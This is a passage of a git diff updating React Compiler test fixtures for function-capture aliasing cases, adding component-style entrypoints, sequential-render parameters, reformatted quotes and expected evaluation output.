+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 2, bar: 3 }],
+  sequentialRenders: [
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 4 },
+    { foo: 3, bar: 4 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"foo":2}
+{"foo":2}
+{"foo":2}
+{"foo":3}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.js
index 3fe8b7c74a2c..24dddd4910e0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.js
@@ -1,6 +1,8 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
     let a = [y];
     let b = x;
@@ -10,3 +12,14 @@ function component(foo, bar) {
   mutate(y);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.expect.md
index d3fd9e16eadf..4882aa822f43 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
     let a = [y];
     let b = x;
@@ -18,7 +18,7 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
 
 ```
@@ -32,7 +32,7 @@ const { mutate } = require("shared-runtime");
 function component(foo, bar) {
   const $ = _c(3);
   let y;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     const x = { foo };
     y = { bar };
 
@@ -41,8 +41,8 @@ function component(foo, bar) {
     a.x = b;
 
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = y;
   } else {
     y = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.js
index 801e6a582506..0b96492497a0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.js
@@ -1,8 +1,8 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
     let a = [y];
     let b = x;
@@ -14,5 +14,5 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.expect.md
index 13dcc589a638..e9cb3c4fd145 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.expect.md
@@ -2,9 +2,10 @@
 ## Input
 
 ```javascript
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
     let a = [y];
     let b = x;
@@ -15,16 +16,29 @@ function component(foo, bar) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(foo, bar) {
+import { mutate } from "shared-runtime";
+function Component(t0) {
   const $ = _c(3);
+  const { foo, bar } = t0;
   let y;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     const x = { foo };
     y = { bar };
     const f0 = function () {
@@ -35,8 +49,8 @@ function component(foo, bar) {
 
     f0();
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = y;
   } else {
     y = $[2];
@@ -44,5 +58,21 @@ function component(foo, bar) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 2, bar: 3 }],
+  sequentialRenders: [
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 3 },
+    { foo: 2, bar: 4 },
+    { foo: 3, bar: 4 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"bar":3,"wat0":"joe"}
+{"bar":3,"wat0":"joe"}
+{"bar":4,"wat0":"joe"}
+{"bar":4,"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.js
index 69f89c6d1b6b..f757078e7326 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.js
@@ -1,6 +1,7 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
     let a = [y];
     let b = x;
@@ -10,3 +11,14 @@ function component(foo, bar) {
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 2, bar: 3}],
+  sequentialRenders: [
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 3},
+    {foo: 2, bar: 4},
+    {foo: 3, bar: 4},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.expect.md
index 4b8a5857f850..60493dd25ad7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
-    let a = { y };
+    let a = {y};
     let b = x;
     a.x = b;
   })();
@@ -18,7 +18,7 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
 
 ```
@@ -32,7 +32,7 @@ const { mutate } = require("shared-runtime");
 function component(foo, bar) {
   const $ = _c(3);
   let y;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     const x = { foo };
     y = { bar };
 
@@ -41,8 +41,8 @@ function component(foo, bar) {
     a.x = b;
 
     mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = y;
   } else {
     y = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.js
index 09d9a0374115..29b988c09bf3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.js
@@ -1,10 +1,10 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+  let x = {foo};
+  let y = {bar};
   (function () {
-    let a = { y };
+    let a = {y};
     let b = x;
     a.x = b;
   })();
@@ -14,5 +14,5 @@ function component(foo, bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo", "bar"],
+  params: ['foo', 'bar'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.expect.md
index cb6d0d6e6ad3..9a98f76b9717 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.expect.md
@@ -2,41 +2,57 @@
 ## Input
 
 ```javascript
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
-    let a = { y };
+    let a = [y];
     let b = x;
-    a.x = b;
+    // this writes y.x = x
+    a[0].x = b;
   };
   f0();
-  mutate(y);
+  mutate(y.x);
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 3, bar: 4}],
+  sequentialRenders: [
+    {foo: 3, bar: 4},
+    {foo: 3, bar: 5},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(foo, bar) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(3);
+  const { foo, bar } = t0;
   let y;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     const x = { foo };
     y = { bar };
     const f0 = function () {
-      const a = { y };
+      const a = [y];
       const b = x;
-      a.x = b;
+
+      a[0].x = b;
     };
 
     f0();
-    mutate(y);
-    $[0] = foo;
-    $[1] = bar;
+    mutate(y.x);
+    $[0] = bar;
+    $[1] = foo;
     $[2] = y;
   } else {
     y = $[2];
@@ -44,5 +60,17 @@ function component(foo, bar) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 3, bar: 4 }],
+  sequentialRenders: [
+    { foo: 3, bar: 4 },
+    { foo: 3, bar: 5 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+{"bar":5,"x":{"foo":3,"wat0":"joe"}}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.js
index 54332c7f64bc..b88ad567184f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.js
@@ -1,12 +1,24 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
+import {mutate} from 'shared-runtime';
+
+function Component({foo, bar}) {
+  let x = {foo};
+  let y = {bar};
   const f0 = function () {
-    let a = { y };
+    let a = [y];
     let b = x;
-    a.x = b;
+    // this writes y.x = x
+    a[0].x = b;
   };
   f0();
-  mutate(y);
+  mutate(y.x);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 3, bar: 4}],
+  sequentialRenders: [
+    {foo: 3, bar: 4},
+    {foo: 3, bar: 5},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.expect.md
index 7a1405611ab8..f44c24650cfd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
-    y["x"] = x;
+    y['x'] = x;
   })();
   mutate(y);
   return y;
@@ -16,7 +16,7 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.js
index e9f5e84611de..a3e74b613f12 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.js
@@ -1,10 +1,10 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
-    y["x"] = x;
+    y['x'] = x;
   })();
   mutate(y);
   return y;
@@ -12,5 +12,5 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.expect.md
index b96fcb590c66..513718ba8606 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.expect.md
@@ -2,25 +2,34 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
-    y["x"] = x;
+    y['x'] = x;
   };
   f0();
   mutate(y);
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate } from "shared-runtime";
+function Component(t0) {
   const $ = _c(2);
+  const { a } = t0;
   let y;
   if ($[0] !== a) {
     const x = { a };
@@ -39,5 +48,15 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"x":{"a":2},"wat0":"joe"}
+{"x":{"a":2},"wat0":"joe"}
+{"x":{"a":3},"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.js
index 700e7986a635..daa4fffb28df 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.js
@@ -1,10 +1,17 @@
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
-    y["x"] = x;
+    y['x'] = x;
   };
   f0();
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.expect.md
index e5e1f886888f..1a9dac53bf00 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     y.x = x;
@@ -16,7 +16,7 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.js
index cd02579f9cef..88e269046f85 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.js
@@ -1,7 +1,7 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     y.x = x;
@@ -12,5 +12,5 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.expect.md
index 4f3ec26a558f..ae145f4d9e2e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     y.x = x;
@@ -13,14 +14,22 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate } from "shared-runtime";
+function Component(t0) {
   const $ = _c(2);
+  const { a } = t0;
   let y;
   if ($[0] !== a) {
     const x = { a };
@@ -39,5 +48,15 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"x":{"a":2},"wat0":"joe"}
+{"x":{"a":2},"wat0":"joe"}
+{"x":{"a":3},"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.js
index f893c1772e44..524dc8af3560 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.js
@@ -1,5 +1,6 @@
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     y.x = x;
@@ -8,3 +9,9 @@ function component(a) {
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.expect.md
index c285e3cfce6c..448078a9b5ac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-import { mutate } from "shared-runtime";
+import {mutate} from 'shared-runtime';
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     let a = y;
-    a["x"] = x;
+    a['x'] = x;
   })();
   mutate(y);
   return y;
@@ -17,7 +17,7 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.js
index 7a01997f9666..e212df190d32 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.js
@@ -1,11 +1,11 @@
-import { mutate } from "shared-runtime";
+import {mutate} from 'shared-runtime';
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     let a = y;
-    a["x"] = x;
+    a['x'] = x;
   })();
   mutate(y);
   return y;
@@ -13,5 +13,5 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.expect.md
index e9bd3e4e0c30..d65e9cca9274 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.expect.md
@@ -2,26 +2,37 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     let a = y;
-    a["x"] = x;
+    a['x'] = x;
   };
   f0();
   mutate(y);
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate } from "shared-runtime";
+
+function Component(t0) {
   const $ = _c(2);
+  const { a } = t0;
   let y;
   if ($[0] !== a) {
     const x = { a };
@@ -41,5 +52,15 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"x":{"a":2},"wat0":"joe"}
+{"x":{"a":2},"wat0":"joe"}
+{"x":{"a":3},"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.js
index 926fd0327745..b4f645846c5b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.js
@@ -1,11 +1,19 @@
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+
+function Component({a}) {
+  let x = {a};
   let y = {};
   const f0 = function () {
     let a = y;
-    a["x"] = x;
+    a['x'] = x;
   };
   f0();
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.expect.md
index 5c19fc6dcb71..3acc6eac15dd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     let a = y;
@@ -17,7 +17,7 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.js
index b8d9faf00e58..fc716170f1d3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.js
@@ -1,7 +1,7 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
   (function () {
     let a = y;
@@ -13,5 +13,5 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["foo"],
+  params: ['foo'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.expect.md
index c4cf99c1e22f..deb78c79e08e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.expect.md
